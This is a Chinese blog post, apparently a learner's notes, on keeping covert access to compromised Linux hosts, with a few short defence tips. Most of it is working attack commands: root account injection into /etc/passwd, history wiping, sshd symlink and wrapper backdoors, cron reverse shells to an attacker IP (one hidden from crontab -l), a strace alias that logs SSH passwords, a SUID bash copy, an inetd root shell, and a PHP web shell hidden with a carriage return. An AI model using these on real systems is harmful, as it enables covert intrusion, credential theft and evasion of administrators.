linux权限维持
接下来将开启linux权限维持的学习:放一张Llinux权限维持镇楼图(图源ShAun’s Blog)修改文件创建时间如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题。使用touch命令修改时间和属性touch -r index.php shell.php这里就复刻了index.php的属性,创建
接下来将开启linux权限维持的学习:
bash
文章目录
放一张Llinux权限维持镇楼图(图源ShAun’s Blog)

文件属性修改
修改文件创建时间
如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题。
使用touch命令修改时间和属性
touch -r index.php shell.php
这里就复刻了index.php的属性,创建了一个同属性的shell.php
创建隐藏文件:
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
添加账户:
添加普通用户:
useradd guest;echo 'guest:123456'|chpasswd
添加root用户和普通账户(前面提权那里有讲)
echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
账户:test
密码:password@123
echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
账户:momaek
密码:salt
添加账户进行权限维持,很简单。
防御方法:
查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
效果图:
文件上锁,防止误删
chattr + i
chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除文件

删除历史操作命令
tip1:
空格set +o history (这条命令会被记录) 关闭历史记录
空格set -o history(这条命令不会被记录)开启历史记录
可以观察到记录在内

tip2:
从历史记录中删除指定的命令
history | grep "history"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]
可以看到已经删除ls命令,但是history依然会记录我们的操作
那就在关闭历史记录下进行删除操作就好。
但是始终不可避免的事情就是:set +o history是不可避免的
tip3:
删除大规模历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history
SSH后门
软链接后门
软链接后门直接免密码登录,但是暴露在监听端口和进程里面,容易被杀
受害机器:ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
个人主句:ssh root@ip -p port
直接连接就可以了,这里就不贴图了
!!关于软连接后如何删除的问题:
1.首先查看进程,然后杀死进程:netstat -nap | grep port 、 kill PTY
2.删除软链接: rm /tmp/su 即可
SSH隐身登录
隐身登录
隐身登录系统,不会被last who w等指令检测到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
warpper(不懂):
Exploit:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
然后连接:
socat STDIO TCP4:target_ip:22,sourceport=13377
这个地方我还是有点不懂,后面问了师傅再来看看
公钥写入:
首先开启ftp,目的是为了后面传入本地公钥进去
yum -y install vsftpd
service vsftpd status //检查启动状态
service vsftpd start
FTP我这里连接失败,于是换用wget进行下载,这里用两台云服务器进行测试
首先我们自己VPS需要生成公钥:
ssh-keygen -t rsa //连续三个回车就可以,会在~/.ssh目录下生成两个文件,我们需要的文件是:id_rsa.pub
目标主机使用wget进行下载:
wget yourip/id_rsa.pub
下载的时候注意自己的目录,之后将id_rsa.pub文件内容复制到authorized_keys中去即可
cat id_rsa.pub >>authorized_keys
注意authorized_keys权限应该是600
整个操作过程图如下:
[生成id_rsa.pub公钥]
[目标主机wget下载并复制id_rsa.pub]

[免密码远程连接]
算了 泪了 FTP连接老是出问题 上传不了公钥过去 这个地方先不讲。
Corntab后门
corn即定时任务后门
首先,crontab是一个命令,常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
crontab -e //ctrl+x 退出即可
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab - //这个命令会在crontal -l下显示出该定时任务,不推荐,建议使用下面的命令
(crontab -l;printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/your_ip/ip_port 0>&1';\r%100c\n")|crontab - //这个命令因为\r%100c\n的存在,利用cat的缺陷,crontab -l 无法显示出内容来
关于上面的命令,这篇文章讲的很清楚
定时任务反弹成功:
查看一下corn定时任务:

这里实际上是他将 cron 文件写到文件中,而 crontab -l 就是列出了该文件的内容:
/var/spool/cron/crontabs/root
通常 cat 是有缺陷的,只能利用 less、vim 或者 cat -A 看到
说一下如何删除crontal定时任务:
crontab -u 会删除该用户所有定时任务,不推荐。建议直接去vi /var/spool/cron/crontabs/root 中修改
CAT隐藏:
cat其实默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令
因此我们可以写到运维人员check脚本中,因为cat -A的命令使用的很好,就难以发现隐藏在其中的命令
使用python3运行如下代码即可生成我们需要的test.sh
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'" # visible
with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)
运行结果如下:

然后使用Xftp软件讲本地生成的test.sh上传到云服务器中
运行并开启监听
唯一的问题就是,反弹shell之后会一定等待连接结束,很容易被发现。那么这里就把反弹shell的操作改为其他命令,比如写定时计划或者写一句话木马到网站根目录等等,都可以尝试

alisa后门(比较鸡肋):
alisa 是为命令这是别名
alisa getpasswd='cat /etc/passwd'
getpasswd ##可以执行cat /etc/passwd的命令
网上有师傅说远程ssh登录设置的alisa只能本次登录使用,确实是这样的。我自己想了想,能用到这个方法的地方就值存在于近源渗透了吧?真的亲自去主机上设置alisa然后让别人在这个主机上登录,留下记录的文件,然后我们通过其他后门去拿到密码实现横向或纵向移动
alisa后门:
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
//对上述命令的解释可参考文章:
strace -o filename:将strace的输出写入文件filename
strace -e :只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
看看效果:
当我在目标机器写入后门后,通过ssh连接其他主机后会出现如下效果
查看一下sshpwd.log文件可以发现登陆密码已经被记录了

查看与删除alias:
alisa //查看当前所有别名
unalias 别名 //删除当前别名

SUID shell
bash是我们众所周知的脚本解释器,bash文件里面也都是脚本内容(.sh)

思路就是复制这个脚本,并给予操作权限,这样我们普通用户也可以使用ROOT权限执行命令
先切换成为root用户,并执行以下的命令:
cp /bin/bash /bin/.read
chmod 4755 /.woot //赋予可执行的权限
## 名字随意,加.是为了隐藏read

实现后门权限维持:
//先进入普通用户 su seveen1
/tmp/.read -p ##bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
开启后门,检查一下.read是否具有suid权限

inted服务后门
inted服务不是自带,所以这里首先需要自己去下载:
apt-get install openbsd-inetd
理解一下inted利用原理:
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd
ftp: inetd 开始监听ftp服务[默认端口是21]
stream: 并为此服务创建流类型的socket
这里的协议名称及默认端口号其实都已在/etc/protocol和/etc/services文件中事先定义好
tcp: 使用tcp协议
root /usr/sbin/in.ftpd in.ftpd:当inetd监听到ftp客户端请求,且端口成功连接后,inetd就会fork一个子进程,该子进程属主为root
同时它也继承了该子进程的父进程与客户端连接成功后所产生的子socket
然后该子进程将该子socket为0,1,2[标准输入,输出及错误输出]发给execl去执行/usr/sbin/in.ftpd in.ftpd程序
另外,这里还需要稍微注意下,定义要执行的程序必须给绝对路径
所以fork子进程这里我们可控为一个shell
daytime stream tcp nowait root /bin/bash bash -i
实际操作一下
修改配置文件:
#chargen dgram udp wait root internal
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
#daytime stream tcp nowait root internal
修改为
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i

防御:
netstat查看当前服务:
发现恶意进程,kill即可
然后cat /etc/inetd.config查看配置文件是否被篡改
~~看见有其他师傅说这个后门的隐藏利用,但是这里自己并没有实现,懂的师傅麻烦说说
/r后门
echo -e "<?=\`\$_POST[cmd]\`?>\r<? hello word?>" > index.php
这个时候去cat index.php是无法看到前面的一句话木马的。
除非使用CAT -A 命令 。

总结:
Linux权限维持的方法有很多,也有很多后门。这里呢也只是初步掌握了linux维持权限的一些操作
总的来说,有鸡肋的后门,也有个人学完之后更愿意去尝试的后门,SSH后门,SUID,/r和…文件创建后门 这几个操作感觉挺好用的。但是一切的一切都还没有进行实战,网上有师傅说,开了防火墙,这些基本就G了emmmm。所以 等实战完之后再来补充吧
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐


所有评论(0)